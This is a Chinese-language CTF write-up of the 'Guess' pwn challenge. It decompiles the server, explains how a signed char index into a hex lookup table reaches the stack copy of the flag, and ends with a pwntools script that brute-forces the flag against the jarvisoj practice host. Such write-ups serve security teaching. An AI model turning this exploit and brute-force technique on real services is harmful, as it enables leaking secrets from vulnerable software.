Guess
你猜,你猜,你猜不到,你猜对了就给你flag
checksec如下:
IDA中查看main函数:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { sockaddr_in bind_addr; // [rsp+0h] [rbp-20h] BYREF pid_t child_pid; // [rsp+14h] [rbp-Ch] int s_; // [rsp+18h] [rbp-8h] int s; // [rsp+1Ch] [rbp-4h] s = socket(2, 1, 0); if ( s == -1 ) { perror("unable to create server socket"); exit(1); } *(_QWORD *)&bind_addr.sin_family = 2LL; *(_QWORD *)bind_addr.sin_zero = 0LL; bind_addr.sin_port = htons(9999u); if ( bind(s, (const struct sockaddr *)&bind_addr, 0x10u) ) { perror("unable to bind socket"); exit(1); } if ( listen(s, 16) ) { perror("deaf"); exit(1); } while ( 1 ) { while ( 1 ) { s_ = accept(s, 0LL, 0LL); if ( s_ != -1 ) break; perror("accept failed, is this bad?"); } child_pid = fork(); if ( child_pid == -1 ) { perror("can't fork! that's bad, I think."); close(s_); sleep(1u); } else { if ( !child_pid ) { close(s); handle(s_); exit(0); } close(s_); } } }
是一个监听9999端口的程序,由于使用了fork,所以会新开进程,之后动态调试handle的话需要找到这个子进程
查看handle函数:
void __cdecl handle(int s) { char inbuf[4096]; // [rsp+10h] [rbp-1010h] BYREF alarm(120u); if ( dup2(s, 0) == -1 || dup2(s, 1) == -1 ) exit(1); setbuf(stdout, 0LL); puts( "Notice: Important!!\n" "This is a test program for you to test on localhost.\n" "Notice flag in this test program starts with `FAKE{` and the\n" "program on server has the real flag which starts with `PCTF{`\n" "\n" "\n" "\n" "Welcome to the super-secret flag guess validation system!\n" "Unfortunately, it only works for the flag for this challenge though.\n" "The correct flag is 50 characters long, begins with `PCTF{` and\n" "ends with `}` (without the quotes). All characters in the flag\n" "are lowercase hex (so they are in [0-9a-f]).\n" "\n" "Before you can submit your flag guess, you have to encode the\n" "whole guess with hex again (including the `PCTF{` and the `}`).\n" "This protects the flag from corruption through network nodes that\n" "can't handle non-hex traffic properly, just like in email.\n"); while ( 1 ) { printf("guess> "); if ( !fgets(inbuf, 4096, stdin) ) break; rtrim(inbuf); if ( is_flag_correct(inbuf) ) puts( "Yaaaay! You guessed the flag correctly! But do you still remember what you entered? If not, feel free to try again!"); else puts("Nope."); } }
注意到有一个2分钟的alarm,需要把它patch掉(key patch快捷键Ctrl+Alt+K,patch后不要忘了Edit->Patch program->Apply patches to input file)
查看rtrim函数:
void __cdecl rtrim(char *str) { char *p; // [rsp+18h] [rbp-8h] for ( p = &str[strlen(str) - 1]; p >= str && strchr(" \r\n", *p); p -= 2 ) *p = 0; }
用途是去掉输入最后的空格回车之类的东西
查看is_flag_correct函数:
int __cdecl is_flag_correct(char *flag_hex) { unsigned int v1; // eax char given_flag[50]; // [rsp+10h] [rbp-190h] BYREF char flag[50]; // [rsp+50h] [rbp-150h] BYREF char bin_by_hex[256]; // [rsp+90h] [rbp-110h] BYREF char value2; // [rsp+192h] [rbp-Eh] char value1; // [rsp+193h] [rbp-Dh] int i_0; // [rsp+194h] [rbp-Ch] char diff; // [rsp+19Bh] [rbp-5h] int i; // [rsp+19Ch] [rbp-4h] if ( strlen(flag_hex) != 100 ) { v1 = strlen(flag_hex); printf("bad input, that hexstring should be 100 chars, but was %d chars long!\n", v1); exit(0); } qmemcpy(bin_by_hex, &unk_401100, sizeof(bin_by_hex)); qmemcpy(flag, "FAKE{9b355e394d2070ebd0df195d8b234509cc29272bc412}", sizeof(flag)); bzero(given_flag, 0x32uLL); for ( i = 0; i <= 49; ++i ) { value1 = bin_by_hex[flag_hex[2 * i]]; value2 = bin_by_hex[flag_hex[2 * i + 1]]; if ( value1 == -1 || value2 == -1 ) { puts("bad input – one of the characters you supplied was not a valid hex character!"); exit(0); } given_flag[i] = value2 | (16 * value1); } diff = 0; for ( i_0 = 0; i_0 <= 49; ++i_0 ) diff |= flag[i_0] ^ given_flag[i_0]; return diff == 0; }
unk_401100如下:
.rodata:0000000000401100 unk_401100 db 0FFh ; DATA XREF: is_flag_correct+58↑o .rodata:0000000000401101 db 0FFh .rodata:0000000000401102 db 0FFh .rodata:0000000000401103 db 0FFh .rodata:0000000000401104 db 0FFh .rodata:0000000000401105 db 0FFh .rodata:0000000000401106 db 0FFh .rodata:0000000000401107 db 0FFh .rodata:0000000000401108 db 0FFh .rodata:0000000000401109 db 0FFh .rodata:000000000040110A db 0FFh .rodata:000000000040110B db 0FFh .rodata:000000000040110C db 0FFh .rodata:000000000040110D db 0FFh .rodata:000000000040110E db 0FFh .rodata:000000000040110F db 0FFh .rodata:0000000000401110 db 0FFh .rodata:0000000000401111 db 0FFh .rodata:0000000000401112 db 0FFh .rodata:0000000000401113 db 0FFh .rodata:0000000000401114 db 0FFh .rodata:0000000000401115 db 0FFh .rodata:0000000000401116 db 0FFh .rodata:0000000000401117 db 0FFh .rodata:0000000000401118 db 0FFh .rodata:0000000000401119 db 0FFh .rodata:000000000040111A db 0FFh .rodata:000000000040111B db 0FFh .rodata:000000000040111C db 0FFh .rodata:000000000040111D db 0FFh .rodata:000000000040111E db 0FFh .rodata:000000000040111F db 0FFh .rodata:0000000000401120 db 0FFh .rodata:0000000000401121 db 0FFh .rodata:0000000000401122 db 0FFh .rodata:0000000000401123 db 0FFh .rodata:0000000000401124 db 0FFh .rodata:0000000000401125 db 0FFh .rodata:0000000000401126 db 0FFh .rodata:0000000000401127 db 0FFh .rodata:0000000000401128 db 0FFh .rodata:0000000000401129 db 0FFh .rodata:000000000040112A db 0FFh .rodata:000000000040112B db 0FFh .rodata:000000000040112C db 0FFh .rodata:000000000040112D db 0FFh .rodata:000000000040112E db 0FFh .rodata:000000000040112F db 0FFh .rodata:0000000000401130 db 0 .rodata:0000000000401131 db 1 .rodata:0000000000401132 db 2 .rodata:0000000000401133 db 3 .rodata:0000000000401134 db 4 .rodata:0000000000401135 db 5 .rodata:0000000000401136 db 6 .rodata:0000000000401137 db 7 .rodata:0000000000401138 db 8 .rodata:0000000000401139 db 9 .rodata:000000000040113A db 0FFh .rodata:000000000040113B db 0FFh .rodata:000000000040113C db 0FFh .rodata:000000000040113D db 0FFh .rodata:000000000040113E db 0FFh .rodata:000000000040113F db 0FFh .rodata:0000000000401140 db 0FFh .rodata:0000000000401141 db 0Ah .rodata:0000000000401142 db 0Bh .rodata:0000000000401143 db 0Ch .rodata:0000000000401144 db 0Dh .rodata:0000000000401145 db 0Eh .rodata:0000000000401146 db 0Fh .rodata:0000000000401147 db 0FFh .rodata:0000000000401148 db 0FFh .rodata:0000000000401149 db 0FFh .rodata:000000000040114A db 0FFh .rodata:000000000040114B db 0FFh .rodata:000000000040114C db 0FFh .rodata:000000000040114D db 0FFh .rodata:000000000040114E db 0FFh .rodata:000000000040114F db 0FFh .rodata:0000000000401150 db 0FFh .rodata:0000000000401151 db 0FFh .rodata:0000000000401152 db 0FFh .rodata:0000000000401153 db 0FFh .rodata:0000000000401154 db 0FFh .rodata:0000000000401155 db 0FFh .rodata:0000000000401156 db 0FFh .rodata:0000000000401157 db 0FFh .rodata:0000000000401158 db 0FFh .rodata:0000000000401159 db 0FFh .rodata:000000000040115A db 0FFh .rodata:000000000040115B db 0FFh .rodata:000000000040115C db 0FFh .rodata:000000000040115D db 0FFh .rodata:000000000040115E db 0FFh .rodata:000000000040115F db 0FFh .rodata:0000000000401160 db 0FFh .rodata:0000000000401161 db 0Ah .rodata:0000000000401162 db 0Bh .rodata:0000000000401163 db 0Ch .rodata:0000000000401164 db 0Dh .rodata:0000000000401165 db 0Eh .rodata:0000000000401166 db 0Fh .rodata:0000000000401167 db 0FFh .rodata:0000000000401168 db 0FFh .rodata:0000000000401169 db 0FFh .rodata:000000000040116A db 0FFh .rodata:000000000040116B db 0FFh .rodata:000000000040116C db 0FFh .rodata:000000000040116D db 0FFh .rodata:000000000040116E db 0FFh .rodata:000000000040116F db 0FFh .rodata:0000000000401170 db 0FFh .rodata:0000000000401171 db 0FFh .rodata:0000000000401172 db 0FFh .rodata:0000000000401173 db 0FFh .rodata:0000000000401174 db 0FFh .rodata:0000000000401175 db 0FFh .rodata:0000000000401176 db 0FFh .rodata:0000000000401177 db 0FFh .rodata:0000000000401178 db 0FFh .rodata:0000000000401179 db 0FFh .rodata:000000000040117A db 0FFh .rodata:000000000040117B db 0FFh .rodata:000000000040117C db 0FFh .rodata:000000000040117D db 0FFh .rodata:000000000040117E db 0FFh .rodata:000000000040117F db 0FFh .rodata:0000000000401180 db 0FFh .rodata:0000000000401181 db 0FFh .rodata:0000000000401182 db 0FFh .rodata:0000000000401183 db 0FFh .rodata:0000000000401184 db 0FFh .rodata:0000000000401185 db 0FFh .rodata:0000000000401186 db 0FFh .rodata:0000000000401187 db 0FFh .rodata:0000000000401188 db 0FFh .rodata:0000000000401189 db 0FFh .rodata:000000000040118A db 0FFh .rodata:000000000040118B db 0FFh .rodata:000000000040118C db 0FFh .rodata:000000000040118D db 0FFh .rodata:000000000040118E db 0FFh .rodata:000000000040118F db 0FFh .rodata:0000000000401190 db 0FFh .rodata:0000000000401191 db 0FFh .rodata:0000000000401192 db 0FFh .rodata:0000000000401193 db 0FFh .rodata:0000000000401194 db 0FFh .rodata:0000000000401195 db 0FFh .rodata:0000000000401196 db 0FFh .rodata:0000000000401197 db 0FFh .rodata:0000000000401198 db 0FFh .rodata:0000000000401199 db 0FFh .rodata:000000000040119A db 0FFh .rodata:000000000040119B db 0FFh .rodata:000000000040119C db 0FFh .rodata:000000000040119D db 0FFh .rodata:000000000040119E db 0FFh .rodata:000000000040119F db 0FFh .rodata:00000000004011A0 db 0FFh .rodata:00000000004011A1 db 0FFh .rodata:00000000004011A2 db 0FFh .rodata:00000000004011A3 db 0FFh .rodata:00000000004011A4 db 0FFh .rodata:00000000004011A5 db 0FFh .rodata:00000000004011A6 db 0FFh .rodata:00000000004011A7 db 0FFh .rodata:00000000004011A8 db 0FFh .rodata:00000000004011A9 db 0FFh .rodata:00000000004011AA db 0FFh .rodata:00000000004011AB db 0FFh .rodata:00000000004011AC db 0FFh .rodata:00000000004011AD db 0FFh .rodata:00000000004011AE db 0FFh .rodata:00000000004011AF db 0FFh .rodata:00000000004011B0 db 0FFh .rodata:00000000004011B1 db 0FFh .rodata:00000000004011B2 db 0FFh .rodata:00000000004011B3 db 0FFh .rodata:00000000004011B4 db 0FFh .rodata:00000000004011B5 db 0FFh .rodata:00000000004011B6 db 0FFh .rodata:00000000004011B7 db 0FFh .rodata:00000000004011B8 db 0FFh .rodata:00000000004011B9 db 0FFh .rodata:00000000004011BA db 0FFh .rodata:00000000004011BB db 0FFh .rodata:00000000004011BC db 0FFh .rodata:00000000004011BD db 0FFh .rodata:00000000004011BE db 0FFh .rodata:00000000004011BF db 0FFh .rodata:00000000004011C0 db 0FFh .rodata:00000000004011C1 db 0FFh .rodata:00000000004011C2 db 0FFh .rodata:00000000004011C3 db 0FFh .rodata:00000000004011C4 db 0FFh .rodata:00000000004011C5 db 0FFh .rodata:00000000004011C6 db 0FFh .rodata:00000000004011C7 db 0FFh .rodata:00000000004011C8 db 0FFh .rodata:00000000004011C9 db 0FFh .rodata:00000000004011CA db 0FFh .rodata:00000000004011CB db 0FFh .rodata:00000000004011CC db 0FFh .rodata:00000000004011CD db 0FFh .rodata:00000000004011CE db 0FFh .rodata:00000000004011CF db 0FFh .rodata:00000000004011D0 db 0FFh .rodata:00000000004011D1 db 0FFh .rodata:00000000004011D2 db 0FFh .rodata:00000000004011D3 db 0FFh .rodata:00000000004011D4 db 0FFh .rodata:00000000004011D5 db 0FFh .rodata:00000000004011D6 db 0FFh .rodata:00000000004011D7 db 0FFh .rodata:00000000004011D8 db 0FFh .rodata:00000000004011D9 db 0FFh .rodata:00000000004011DA db 0FFh .rodata:00000000004011DB db 0FFh .rodata:00000000004011DC db 0FFh .rodata:00000000004011DD db 0FFh .rodata:00000000004011DE db 0FFh .rodata:00000000004011DF db 0FFh .rodata:00000000004011E0 db 0FFh .rodata:00000000004011E1 db 0FFh .rodata:00000000004011E2 db 0FFh .rodata:00000000004011E3 db 0FFh .rodata:00000000004011E4 db 0FFh .rodata:00000000004011E5 db 0FFh .rodata:00000000004011E6 db 0FFh .rodata:00000000004011E7 db 0FFh .rodata:00000000004011E8 db 0FFh .rodata:00000000004011E9 db 0FFh .rodata:00000000004011EA db 0FFh .rodata:00000000004011EB db 0FFh .rodata:00000000004011EC db 0FFh .rodata:00000000004011ED db 0FFh .rodata:00000000004011EE db 0FFh .rodata:00000000004011EF db 0FFh .rodata:00000000004011F0 db 0FFh .rodata:00000000004011F1 db 0FFh .rodata:00000000004011F2 db 0FFh .rodata:00000000004011F3 db 0FFh .rodata:00000000004011F4 db 0FFh .rodata:00000000004011F5 db 0FFh .rodata:00000000004011F6 db 0FFh .rodata:00000000004011F7 db 0FFh .rodata:00000000004011F8 db 0FFh .rodata:00000000004011F9 db 0FFh .rodata:00000000004011FA db 0FFh .rodata:00000000004011FB db 0FFh .rodata:00000000004011FC db 0FFh .rodata:00000000004011FD db 0FFh .rodata:00000000004011FE db 0FFh .rodata:00000000004011FF db 0FFh
能看出除了0-9,a-f,A-F外全被置成了-1,所以之后计算value1和value2的时候,如果有任何值等于-1,就说明输入的有不是这个范围的数,而合法的数等于它对应的数字,之后便可以通过value2 | (16 * value1)计算得到十六进制编码之前的原文
但是这里存在着一处漏洞:由于flag_hex是传入的我们的输入,因此其可控,在之后计算value1和value2的时候便可以控制这个数组寻址的索引,可以让它指向bin_by_hex[-128~127]的任意地方
查看栈分布
flag在程序中会被复制一份到栈里,而它的位置和bin_by_hex之间仅仅相差0x40
只要让value1和value2都不等于-1,就可以绕过是否是十六进制编码字符的验证,然后只要让value2 | (value1 * 16)等于flag对应的位置就可以绕过flag的验证
显然令value1=0,value2等于栈上flag对应位置的字符就可以满足上述要求
虽然绕过了验证,但是还是不知道真正的flag是什么
不过这时候就可以逐位修改爆破了,exp如下:
from pwn import * context.log_level = 'ERROR' charlist = '0123456789abcdefFAKE{}PCT' flag = '' true_flag = '' offset = 0xC0 for i in range(50): true_flag += '0' + chr(offset) offset += 1 for i in range(50): for j in charlist: payload = list(true_flag) payload[i * 2] = ("%02x" % ord(j))[0] payload[i * 2 + 1] = ("%02x" % ord(j))[1] payload = ''.join(str(k) for k in payload) io = connect('pwn.jarvisoj.com', 9878) io.sendlineafter('guess> ', payload) r = io.recvline() io.close() if r[0] == ord('Y'): flag += j print(flag) break if j == 'T': print("ERROR") exit(0)